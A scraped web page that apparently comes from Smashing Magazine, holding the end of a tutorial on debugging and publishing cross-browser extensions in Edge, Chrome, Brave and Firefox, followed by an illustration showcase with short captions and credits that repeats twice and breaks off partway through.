Then, click on the “Content scripts” tab and find your extension’s folder. Open the script file that you’d like to debug, and debug your code just as you would do with any JavaScript code.

DebugInChrome00180
(View large version81)

To debug a tab that your extension would create, it’s exactly the same as with Edge: Simply use the developer tools.

DebugInChrome00282
(View large version83)

For Chrome and Opera, to debug the popup page, right-click on the button of your extension next to the address bar and choose “Inspect popup,” or open the HTML pane of the popup and right-click inside it to “Inspect.” Vivaldi only supports right-click and then “Inspect” inside the HTML pane once opened.

DebugInChrome00384
(View large version85)

For Brave, it’s the same process as with Edge. You first need to find the GUID associated with your extension in about:extensions:

BraveDebug00186

And then, in a separate tab, open the page you’d like to debug like — in my case, chrome-extension://bodaahkboijjjodkbmmddgjldpifcjap/dashboard.html — and open developer tools.

BraveDebug00287
(View large version88)

For the layout, you have a bit of help using Shift + F8, which will let you inspect the complete frame of Brave. And you’ll discover that Brave is an Electron app using React!

Note, for instance, the data-reactroot attribute.

BraveDebug00389
(View large version90)

Note: I had to slightly modify the CSS of the extension for Brave because it currently displays popups with a transparent background by default, and I also had some issues with the height of my images collection. I’ve limited it to four elements in Brave.

Mozilla Firefox Link

Mozilla has really great documentation on debugging web extensions91.

For the client script part, it’s the same as in Edge, Chrome, Opera and Brave. Simply open the developer tools in the tab you’d like to debug, and you’ll find a moz-extension://guid section with your code to debug:

DebugInFirefox00192
(View large version93)

If you need to debug a tab that your extension would create (like Vorlon.js’ Page Analyzer extension), simply use the developer tools:

DebugInFirefox00294
(View large version95)

Finally, debugging a popup is a bit more complex but is well explained in the “Debugging Popups96” section of the documentation.

DebugInFirefox00397
(View large version98)

Publishing Your Extension In Each Store Link

Each vendor has detailed documentation on the process to follow to publish your extension in its store. They all take similar approaches. You need to package the extension in a particular file format — most of the time, a ZIP-like container. Then, you have to submit it in a dedicated portal, choose a pricing model and wait for the review process to complete. If accepted, your extension will be downloadable in the browser itself by any user who visits the extensions store.

Here are the various processes:

Please note that submitting a Microsoft Edge extension to the Windows Store is currently a restricted capability. Reach out to the Microsoft Edge team103 with your request to be a part of the Windows Store, and they’ll consider you for a future update.

I’ve tried to share as much of what I’ve learned from working on our Vorlon.js Page Analyzer extension104 and this little proof of concept.

Some developers remember the pain of working through various implementations to build their extension — whether it meant using different build directories, or working with slightly different extension APIs, or following totally different approaches, such as Firefox’s XUL extensions or Internet Explorer’s BHOs and ActiveX.

It’s awesome to see that, today, using our regular JavaScript, CSS and HTML skills, we can build great extensions using the very same code base and across all browsers!

Feel free to ping me on Twitter105 for any feedback.

(ms, vf, rb, yk, al, il)

Footnotes Link

  1. 1 https://browserext.github.io/
  2. 2 https://developer.apple.com/reference/safariextensions
  3. 3 https://www.smashingmagazine.com/2014/11/creating-save-later-chrome-extension-modern-web-tools/
  4. 4 https://www.smashingmagazine.com/2016/10/whats-the-deal-with-the-samsung-internet-browser/
  5. 5 https://www.smashingmagazine.com/2015/05/form-inputs-browser-support-issue/
  6. 6 https://www.smashingmagazine.com/2015/09/chrome-firefox-safari-opera-edge-impressive-web-browser-alternatives/
  7. 7 https://developer.chrome.com/extensions
  8. 8 https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/
  9. 9 https://channel9.msdn.com/Events/WebPlatformSummit/edgesummit2016/ES1614?wt.mc_id=DX_879946&OC.ID=DX_879946&CR_CC=DX_879946
  10. 10 https://developer.mozilla.org/en-US/Add-ons/WebExtensions
  11. 11 https://wiki.mozilla.org/WebExtensions
  12. 12 https://dev.opera.com/extensions/getting-started/
  13. 13 https://github.com/brave/browser-laptop/wiki/Developer-Notes-on-Installing-or-Updating-Extensions
  14. 14 https://www.davrous.com/2015/08/27/creating-an-accessible-breakout-game-using-web-audio-svg/
  15. 15 https://twitter.com/codepo8
  16. 16 https://www.youtube.com/watch?v=TWVNTsdm27U
  17. 17 https://dvcs.w3.org/hg/speech-api/raw-file/tip/speechapi.html#tts-section
  18. 18 https://www.microsoft.com/cognitive-services/en-us/computer-vision-api
  19. 19 https://www.microsoft.com/cognitive-services/en-us/subscriptions?productId=/products/54d873dd5eefd00dc474a0f4
  20. 20 https://www.captionbot.ai/
  21. 21 https://www.smashingmagazine.com/wp-content/uploads/2016/12/CaptionBot-1-preview-opt.png
  22. 22 https://www.microsoft.com/cognitive-services/en-us/speech-api
  23. 23 https://www.microsoft.com/cognitive-services/en-us/subscriptions?productId=/products/Bing.Speech.Preview
  24. 24 https://github.com/davrous/BingTTSClientJSLib
  25. 25 https://visual-recognition-demo.mybluemix.net/
  26. 26 https://cloud.google.com/vision/
  27. 27 http://github.com/davrous/dareangel
  28. 28 https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/api-support/
  29. 29 https://developer.mozilla.org/en-US/Add-ons/WebExtensions
  30. 30 https://dev.opera.com/extensions/apis/
  31. 31 https://github.com/davrous/dareangel/blob/master/manifest.json
  32. 32 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Slide1-large-opt.png
  33. 33 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Slide1-large-opt.png
  34. 34 https://github.com/davrous/dareangel/blob/master/manifest.json
  35. 35 https://developer.chrome.com/extensions/manifest
  36. 36 https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/api-support/supported-manifest-keys/
  37. 37 https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json
  38. 38 https://dev.opera.com/extensions/architecture-overview/#the-content-script
  39. 39 https://dev.opera.com/extensions/content-scripts/
  40. 40 https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts
  41. 41 https://developer.chrome.com/extensions/content_scripts
  42. 42 https://github.com/davrous/dareangel/blob/master/dareangel.client.ts
  43. 43 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Slide2-large-opt.png
  44. 44 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Slide2-large-opt.png
  45. 45 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Slide3-large-opt.png
  46. 46 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Slide3-large-opt.png
  47. 47 https://github.com/davrous/dareangel/blob/master/dashboard.html
  48. 48 https://github.com/davrous/dareangel/blob/master/dashboard.css
  49. 49 https://github.com/davrous/dareangel/blob/master/dareangel.dashboard.js
  50. 50 https://www.microsoft.com/cognitive-services/en-us/Computer-Vision-API/documentation/AnalyzeImage
  51. 51 https://dev.projectoxford.ai/docs/services/56f91f2d778daf23d8ec6739/operations/56f91f2e778daf14a499e1fa
  52. 52 https://www.smashingmagazine.com/wp-content/uploads/2016/12/xSlide4_thumb-large-opt.png
  53. 53 https://www.smashingmagazine.com/wp-content/uploads/2016/12/xSlide4_thumb-large-opt.png
  54. 54 https://github.com/davrous/dareangel
  55. 55 https://www.smashingmagazine.com/wp-content/uploads/2016/12/EnableInEdge001-1-preview-opt.png
  56. 56 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Edge001-preview-opt.png
  57. 57 https://www.smashingmagazine.com/wp-content/uploads/2016/12/EnableInEdge003-1-preview-opt.png
  58. 58 http://www.babylonjs.com/
  59. 59 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Chrome001-large-opt.png
  60. 60 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Chrome001-large-opt.png
  61. 61 http://www.babylonjs.com/
  62. 62 http://www.babylonjs.com/
  63. 63 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Firefox001-large-opt.png
  64. 64 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Firefox001-large-opt.png
  65. 65 https://developer.mozilla.org/en-US/Add-ons/Extension_Packaging
  66. 66 https://blog.brave.com/loading-chrome-extensions-in-brave/
  67. 67 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Brave001-large-opt.png
  68. 68 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Brave001-large-opt.png
  69. 69 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Brave002-large-opt.png
  70. 70 https://www.smashingmagazine.com/wp-content/uploads/2016/12/Brave002-large-opt.png
  71. 71 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge001-large-opt.png
  72. 72 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge001-large-opt.png
  73. 73 https://www.microsoft.com/store/p/page-analyzer/9nblggh4qws7
  74. 74 http://www.vorlonjs.io/
  75. 75 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge002-large-opt.png
  76. 76 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge002-large-opt.png
  77. 77 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge003-preview-opt.png
  78. 78 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge004-large-opt.png
  79. 79 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInEdge004-large-opt.png
  80. 80 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInChrome001-large-opt.png
  81. 81 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInChrome001-large-opt.png
  82. 82 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInChrome002-large-opt.png
  83. 83 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInChrome002-large-opt.png
  84. 84 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInChrome003-1-large-opt.jpg
  85. 85 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInChrome003-1-large-opt.jpg
  86. 86 https://www.smashingmagazine.com/wp-content/uploads/2016/12/BraveDebug001-preview-opt.png
  87. 87 https://www.smashingmagazine.com/wp-content/uploads/2016/12/BraveDebug002-large-opt.png
  88. 88 https://www.smashingmagazine.com/wp-content/uploads/2016/12/BraveDebug002-large-opt.png
  89. 89 https://www.smashingmagazine.com/wp-content/uploads/2016/12/BraveDebug003-large-opt.jpg
  90. 90 https://www.smashingmagazine.com/wp-content/uploads/2016/12/BraveDebug003-large-opt.jpg
  91. 91 https://developer.mozilla.org/fr/Add-ons/WebExtensions/Debugging
  92. 92 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInFirefox001-large-opt.png
  93. 93 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInFirefox001-large-opt.png
  94. 94 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInFirefox002-large-opt.png
  95. 95 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInFirefox002-large-opt.png
  96. 96 https://developer.mozilla.org/fr/Add-ons/WebExtensions/Debugging
  97. 97 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInFirefox003-large-opt.jpg
  98. 98 https://www.smashingmagazine.com/wp-content/uploads/2016/12/DebugInFirefox003-large-opt.jpg
  99. 99 https://developer.chrome.com/webstore/publish
  100. 100 https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Publishing_your_WebExtension
  101. 101 https://dev.opera.com/extensions/publishing-guidelines/
  102. 102 https://docs.microsoft.com/en-us/microsoft-edge/extensions/guides/packaging
  103. 103 http://aka.ms/extension-request
  104. 104 https://www.microsoft.com/store/p/page-analyzer/9nblggh4qws7
  105. 105 https://twitter.com/davrous

↑ Back to topTweet itShare on Facebook

Vibrant Illustrations To Let Your Mind Wander

by

Vibrant Illustrations To Let Your Mind Wander

On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.

Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.

Further Reading on SmashingMag: Link

Reflect Magazine Link

Great color combination. Impressive how all elements have been refined to their best simplicity.

5
Image credit: Fernando Volken Togni6

Quentin Monge Link

The fantasy of French illustrator Quentin Monge. Such a lovely style!

7
Image credit: handsomefrank8

“Lire” Cover Link

Admiring how the illustrator played with light sources and shadows. The faces immediately catch your attention, don’t they?

9
Image credit: Tom Haugomat3310

If I Was Small Link

This one made me laugh. What if I was small? Those characters are just sublime! So very well done.

11
Image credit: Jack Hudson12

Endo-Kiss Link

Riding your bike together is exactly like you see here.

13
Image credit: Ronlewhorn14

Almanac Beer Co’s Mural Link

Part of a bigger illustration of a mural. You can view a process video of how this was applied on the wall here15.

16
Image credit: DKNG17

Cinerama Link

Part of a bumper animation that plays before each film at Cinerama. Here you see it animated18. It’s really cool — I’m sure you’ll agree.

19
Image credit: Invisible Creature20

Lone Tree Of Lake Wanaka Link

Sometimes you don’t need much to get a great picture.

21
Image credit: Paddy Donnelly22

Tweed Run London 2017 Link

This vintage bicycle event has always a nice poster.

23
Image credit: Tweed Run24

Beverly Hills Hotel: Gucci Link

Nice style! The eyes with glasses are such stunners.

25
Image credit: Bijou Karman26

Mystery Project 82.1 Link

A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!

27
Image credit: DKNG28

Kingfisher Link

One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions29, too.

30
Image credit: Gàbor Li31

For “Le Monde” Link

Divine color palette! Superb highlights and shadows.

32
Image credit: Tom Haugomat3310

Café Insoluble Link

My kind of color palette and great textures.

34
Image credit: Sebastien Plassard35

Lápiz Grafito Link

The colors are so harmonious and pleasing, and the drawing is just magnificent.

36
Image credit: Alejandro García Restrepo37

Tycho: UK Tour Link

Another addition to the European Tour Tycho is currently working on. This is quite lovely and makes me think back to the cassette era.

38
Image credit: Tycho39

Hansen’s Bicycle Race Link

Always a fan of something with a bike in it. When it’s created by the talented Madsberg it gets even better. I love the elegance in his work.

40
Image credit: Madsberg41

Hôtel Americano Link

Part of a series that was created as an irreverent ad campaign inspired by the hotel’s close relationship with the contemporary art world.

42
Image credit: Javas Lehn43

Bauhaus Music Link

Project on the theme of music, while playing with a Bauhaus-inspired style.

44
Image credit: Zara Picken45

Fazer Marianne Link

Interesting play with lines. Not an easy one to pull off.

46
Image credit: Craig & Karl47

Feel The Night Link

With the atmosphere in this illustration you just feel the night. Come in and enjoy the ride.

48
Image credit: Sebastien Plassard49

The Path Link

Brilliant light. Excellently executed. A perfect example of what you can get when you are in the right spot at the right time.

50
Image credit: Adnan Bubalo51

Afternoon And Downhill Link

Marvellous winter picture! Ain’t that light spectacular?

52
Image credit: Jørn Allan Pedersen53

Educating Your Dreams Link

Special style. Inspiring patterns.

54
Image credit: Scotty Reifsnyder55

Milk & Honey Link

Lovely custom type and ornaments.

56
Image credit: Drew Melton57

Reflections Of Kinderdijk II Link

Beautiful perspective, great reflection and amazing warm colors!

58
Image credit: Herman van den Berge59

Paris: Nathalie Link

Gorgeous photos of Paris from Nathalie Geffroy. Be sure to go see the rest.

60
Image credit: Nathalie Geffroy61

Bending Over Backwards Link

I’ve been following Oksana Grivina for many years and her style is just as lovely as I remember.

62
Image credit: Oksana Grivina63

Matchbox Cycling Packaging Link

The legendary car that still is to be seen in Oudenaarde, Belgium. Neil Stevens created this one for Matchbox.

64
Image credit: Neil Stevens65

Stella McCartney Link

The portraits of Elodie are always a pleasure to look at. So many details to take in and think (wish I could do that).

66
Image credit: Elodie67

Jane & Brigitte Link

A second one from Elodie that I couldn’t resist. Look at those eyes and lips.

68
Image credit: Elodie69

Up Characters Link

Admiring the faces of these holiday characters for Westjet‘s inflight magazine “UP”. The expressions created with just a few lines.

70
Image credit: LouLou & Tummie71

Tuscany Link

Love the use of color and patterns. Beautiful curvy lines of the landscape too!

72
Image credit: Matt Carlson73

White Aurora Link

What an amazing display of white Northern Lights or white aurora curtain. Seen somewhere over Finland.

74
Image credit: This is Finland75

Fabric Magazine: London’s Green Spaces Link

Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.

76
Image credit: Sam Chivers77

Yankee Link

The typefaces, textures and colors. They are all spot on in this illustration. Inspired by country vintage.

78
Image credit: Two Arms Inc.79

Robinhood Gold Link

Beautiful harmony and consistency without leaning over towards kitsch. Not easy when there is gold involved.

80
Image credit: Ty Wilkins81

Digital Arts Expo Link

Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.

82
Image credit: Ketchup and Mustard83

ANWB: Kampioen Link

Great nostalgic vibe in this one. Reminds of the early adverts from the 60’s. Love the bright colors, as well as the shadow and highlights effects.

84
Image credit: Moker Ontwerp85

Pixar Times Link

Illustration created for The Pixar Times86. Everybody loves a hero. Love how the shadows are done, and the pattern effects.

87
Image credit: Luke Bott88

What To See And Do In Brussels Link

Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.

89
Image credit: Andrew Lyons90

Moment In New York Link

The faces are very original and recognizable as the style of Dutch illustrator Jackie Besteman.

91
Image credit: Jackie Besteman92

Exercise On Skis Link

Love the figures and how they are portrayed.

93
Image credit: Robert Samuel Hanson94

I Draws What I Likes… Link

“When I’m stressed about work, I just think about this. Drawring!” Beautiful custom typography and great colors.

95
Image credit: Mary Kate McDevitt96

Hotdogs! Link

A nice pattern of hotdogs to get you hungry. It’s available at the pattern library97.

98
Image credit: Román Jusdado99

Bleacher Report Link

This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!

100
Image credit: Mike McQuade101

Modus Magazine Link

The lanes in the grass are like guides to draw you into the building. It also creates a beautiful symmetrical vibe.

102
Image credit: Tom Haugomat103

Life Is Beautiful Link

With a view like this I would totally think so. Taken in Belvedere, Tuscany.

104
Image credit: Gürkan Gündoğdu105

Amex Gold Link

Great usage of minimal colors and shapes.

106
Image credit: Colin Hesterly107

Bokeh Tribute Link

Lovely tribute to the bokeh effect.

108
Image credit: Abduzeedo109

(il)

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2010/02/finding-inspiration-in-uncommon-sources-12-places-to-look/
  2. 2 https://www.smashingmagazine.com/2010/07/add-music-to-your-workflow-to-improve-results/
  3. 3 https://www.smashingmagazine.com/2016/03/inspiring-graphic-design/
  4. 4 https://www.smashingmagazine.com/2010/11/art-inspiration-for-the-weekend/
  5. 5 http://www.fernandovt.com/2016/12/3/reflect-magazine
  6. 6 http://www.fernandovt.com/2016/12/3/reflect-magazine
  7. 7 https://handsomefrank.com/illustrators/quentin-monge
  8. 8 https://handsomefrank.com/illustrators/quentin-monge
  9. 9 https://www.behance.net/gallery/48788243/2016-editorial-work
  10. 10 https://www.behance.net/gallery/48788243/2016-editorial-work
  11. 11 http://jack-hudson.com/#/if-i-was-small/
  12. 12 http://jack-hudson.com/#/if-i-was-small/
  13. 13 http://www.artcrank.com/home/as-endo-kiss
  14. 14 http://www.artcrank.com/home/as-endo-kiss
  15. 15 https://vimeo.com/201030301
  16. 16 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
  17. 17 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
  18. 18 https://vimeo.com/182602999
  19. 19 https://www.invisiblecreature.com/work/cinerama
  20. 20 https://www.invisiblecreature.com/work/cinerama
  21. 21 https://twitter.com/paddydonnelly/status/838161878085955584
  22. 22 https://twitter.com/paddydonnelly/status/838161878085955584
  23. 23 http://www.tweedrun.com/tickets/
  24. 24 http://www.tweedrun.com/tickets/
  25. 25 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
  26. 26 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
  27. 27 https://dribbble.com/shots/3319114-Mystery-Project-82-1
  28. 28 https://dribbble.com/shots/3319114-Mystery-Project-82-1
  29. 29 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
  30. 30 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
  31. 31 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
  32. 32 https://www.behance.net/gallery/48788243/2016-editorial-work
  33. 33 https://www.behance.net/gallery/48788243/2016-editorial-work
  34. 34 https://www.instagram.com/p/BK2tZ7-hyUz/
  35. 35 https://www.instagram.com/p/BK2tZ7-hyUz/
  36. 36 https://www.behance.net/gallery/47416785/Fluvial
  37. 37 https://www.behance.net/gallery/47416785/Fluvial
  38. 38 https://twitter.com/ISO50/status/837339545968467968
  39. 39 https://twitter.com/ISO50/status/837339545968467968
  40. 40 http://www.madsberg.dk/hansens-bicycle-race
  41. 41 http://www.madsberg.dk/hansens-bicycle-race
  42. 42 http://javaslehnstudio.com/projects/hotel-americano
  43. 43 http://javaslehnstudio.com/projects/hotel-americano
  44. 44 http://zaraillustrates.tumblr.com/post/154515717454/bauhausmusic-part-i-a-self-initiated-project
  45. 45 http://zaraillustrates.tumblr.com/post/154515717454f/bauhausmusic-part-i-a-self-initiated-project
  46. 46 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
  47. 47 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
  48. 48 https://www.instagram.com/p/BLgZhAOBbhH/
  49. 49 https://www.instagram.com/p/BLgZhAOBbhH/
  50. 50 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
  51. 51 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
  52. 52 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
  53. 53 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
  54. 54 http://seescotty.com/projects/educating-dreams/
  55. 55 http://seescotty.com/projects/educating-dreams/
  56. 56 http://phraseologyproject.com/phrase/milk-honey
  57. 57 http://phraseologyproject.com/phrase/milk-honey
  58. 58 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
  59. 59 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
  60. 60 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
  61. 61 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
  62. 62 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
  63. 63 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
  64. 64 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
  65. 65 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
  66. 66 http://www.elodie-illustrations.net/portfolio-view/beauty/
  67. 67 http://www.elodie-illustrations.net/portfolio-view/beauty/
  68. 68 http://www.elodie-illustrations.net/portfolio-view/portraits/
  69. 69 http://www.elodie-illustrations.net/portfolio-view/portraits/
  70. 70 http://loulouandtummie.com/portfolio-posts/up-characters/
  71. 71 http://loulouandtummie.com/portfolio-posts/up-characters/
  72. 72 https://dribbble.com/shots/3356749-Tuscany
  73. 73 https://dribbble.com/shots/3356749-Tuscany
  74. 74 https://twitter.com/thisisFINLAND/status/842060400296361984
  75. 75 https://twitter.com/thisisFINLAND/status/842060400296361984
  76. 76 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
  77. 77 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
  78. 78 http://twoarmsinc.com/work/view/yankee
  79. 79 http://twoarmsinc.com/work/view/yankee
  80. 80 https://dribbble.com/shots/2994377-Robinhood-Gold
  81. 81 https://dribbble.com/shots/2994377-Robinhood-Gold
  82. 82 http://www.ketchup-mustard.com/design#/digital-arts-expo/
  83. 83 http://www.ketchup-mustard.com/design#/digital-arts-expo/
  84. 84 http://mokerontwerp.nl/blog/
  85. 85 http://mokerontwerp.nl/blog/
  86. 86 http://pixartimes.com/
  87. 87 http://www.lukebott.com/play/pixar-times/
  88. 88 http://www.lukebott.com/play/pixar-times/
  89. 89 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
  90. 90 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
  91. 91 http://www.jackiebesteman.com/editorial.html
  92. 92 http://www.jackiebesteman.com/editorial.html
  93. 93 http://www.robertsamuelhanson.com/FAZ-1
  94. 94 http://www.robertsamuelhanson.com/FAZ-1
  95. 95 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
  96. 96 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
  97. 97 http://thepatternlibrary.com/#hotdogs
  98. 98 https://dribbble.com/shots/1419921-Hotdogs
  99. 99 https://dribbble.com/shots/1419921-Hotdogs
  100. 100 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
  101. 101 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
  102. 102 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
  103. 103 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
  104. 104 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
  105. 105 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
  106. 106 http://colinhesterly.com/#/amex-gold/
  107. 107 http://colinhesterly.com/#/amex-gold/
  108. 108 http://abduzeedo.com/wallpaper-week-bokeh-tribute
  109. 109 http://abduzeedo.com/wallpaper-week-bokeh-tribute

↑ Back to topTweet itShare on Facebook

50 Vibrant Illustrations To Let Your Mind Wander

by

50 Vibrant Illustrations To Let Your Mind Wander

On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.

Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.

Further Reading on SmashingMag: Link

Reflect Magazine Link

Great color combination. Impressive how all elements have been refined to their best simplicity.

5
Image credit: Fernando Volken Togni6

Quentin Monge Link

The fantasy of French illustrator Quentin Monge. Such a lovely style!

7
Image credit: handsomefrank8

“Lire” Cover Link

Admiring how the illustrator played with light sources and shadows. The faces immediately catch your attention, don’t they?

9
Image credit: Tom Haugomat3310

If I Was Small Link

This one made me laugh. What if I was small? Those characters are just sublime! So very well done.

11
Image credit: Jack Hudson12

Endo-Kiss Link

Riding your bike together is exactly like you see here.

13
Image credit: Ronlewhorn14

Almanac Beer Co’s Mural Link

Part of a bigger illustration of a mural. You can view a process video of how this was applied on the wall here15.

16
Image credit: DKNG17

Cinerama Link

Part of a bumper animation that plays before each film at Cinerama. Here you see it animated18. It’s really cool — I’m sure you’ll agree.

19
Image credit: Invisible Creature20

Lone Tree Of Lake Wanaka Link

Sometimes you don’t need much to get a great picture.

21
Image credit: Paddy Donnelly22

Tweed Run London 2017 Link

This vintage bicycle event has always a nice poster.

23
Image credit: Tweed Run24

Beverly Hills Hotel: Gucci Link

Nice style! The eyes with glasses are such stunners.

25
Image credit: Bijou Karman26

Mystery Project 82.1 Link

A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!

27
Image credit: DKNG28

Kingfisher Link

One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions29, too.

30
Image credit: Gàbor Li31

For “Le Monde” Link

Divine color palette! Superb highlights and shadows.

32
Image credit: Tom Haugomat3310

Café Insoluble Link

My kind of color palette and great textures.

34
Image credit: Sebastien Plassard35

Lápiz Grafito Link

The colors are so harmonious and pleasing, and the drawing is just magnificent.

36
Image credit: Alejandro García Restrepo37

Tycho: UK Tour Link

Another addition to the European Tour Tycho is currently working on. This is quite lovely and makes me think back to the cassette era.

38
Image credit: Tycho39

Hansen’s Bicycle Race Link

Always a fan of something with a bike in it. When it’s created by the talented Madsberg it gets even better. I love the elegance in his work.

40
Image credit: Madsberg41

Hôtel Americano Link

Part of a series that was created as an irreverent ad campaign inspired by the hotel’s close relationship with the contemporary art world.

42
Image credit: Javas Lehn43

Bauhaus Music Link

Project on the theme of music, while playing with a Bauhaus-inspired style.

44
Image credit: Zara Picken45

Fazer Marianne Link

Interesting play with lines. Not an easy one to pull off.

46
Image credit: Craig & Karl47

Feel The Night Link

With the atmosphere in this illustration you just feel the night. Come in and enjoy the ride.

48
Image credit: Sebastien Plassard49

The Path Link

Brilliant light. Excellently executed. A perfect example of what you can get when you are in the right spot at the right time.

50
Image credit: Adnan Bubalo51

Afternoon And Downhill Link

Marvellous winter picture! Ain’t that light spectacular?

52
Image credit: Jørn Allan Pedersen53

Educating Your Dreams Link

Special style. Inspiring patterns.

54
Image credit: Scotty Reifsnyder55

Milk & Honey Link

Lovely custom type and ornaments.

56
Image credit: Drew Melton57

Reflections Of Kinderdijk II Link

Beautiful perspective, great reflection and amazing warm colors!

58
Image credit: Herman van den Berge59

Paris: Nathalie Link

Gorgeous photos of Paris from Nathalie Geffroy. Be sure to go see the rest.

60
Image credit: Nathalie Geffroy61

Bending Over Backwards Link

I’ve been following Oksana Grivina for many years and her style is just as lovely as I remember.

62
Image credit: Oksana Grivina63

Matchbox Cycling Packaging Link

The legendary car that still is to be seen in Oudenaarde, Belgium. Neil Stevens created this one for Matchbox.

64
Image credit: Neil Stevens65

Stella McCartney Link

The portraits of Elodie are always a pleasure to look at. So many details to take in and think (wish I could do that).

66
Image credit: Elodie67

Jane & Brigitte Link

A second one from Elodie that I couldn’t resist. Look at those eyes and lips.

68
Image credit: Elodie69

Up Characters Link

